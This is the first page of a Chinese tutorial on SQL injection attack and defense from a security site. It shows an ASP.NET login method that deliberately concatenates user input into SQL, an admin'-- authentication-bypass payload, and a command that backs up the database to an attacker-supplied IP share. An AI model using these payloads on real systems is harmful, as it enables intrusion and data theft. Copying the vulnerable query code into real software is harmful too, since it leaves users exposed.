欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

SQL 注入攻防入门详解

来源:本站整理 作者:滴答的雨 时间:2016-09-13 TAG: 我要投稿

 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。

(对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文)

下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。

示例程序下载:SQL注入攻防入门详解_示例

什么是SQL注入(SQL Injection)

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。

尝尝SQL注入

1.   一个简单的登录页面

关键代码:(详细见下载的示例代码)

 
 
 
 
 
MySQL
 
1
2
3
4
5
6
privateboolNoProtectLogin(string userName, string password)
{
int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format
       ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));
return count > 0 ? true : false;
}

方法中userName和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin  123456)

1)   输入正常数据,效果如图:

image

合并的SQL为:

SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456′

2)   输入注入数据:

如图,即用户名为:用户名:admin’—,密码可随便输入

image

    合并的SQL为:

    SELECT COUNT(*) FROM Login WHERE UserName=’admin’– Password=’123′

因为UserName值中输入了“–”注释符,后面语句被省略而登录成功。(常常的手法:前面加上‘; ‘ (分号,用于结束前一条语句),后边加上‘–‘ (用于注释后边的语句))

2.   上面是最简单的一种SQL注入,常见的注入语句还有:

1)   猜测数据库名,备份数据库

a)   猜测数据库名: and db_name() >0 或系统表master.dbo.sysdatabases

b)   备份数据库:;backup database 数据库名 to disk = ‘c:*.db’;–

或:declare a sysname;set @a=db_name();backup database a to disk=’你的IP你的共享目录bak.dat’ ,name=’test’;–

[1] [2] [3] [4] [5] [6] [7] [8] [9]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载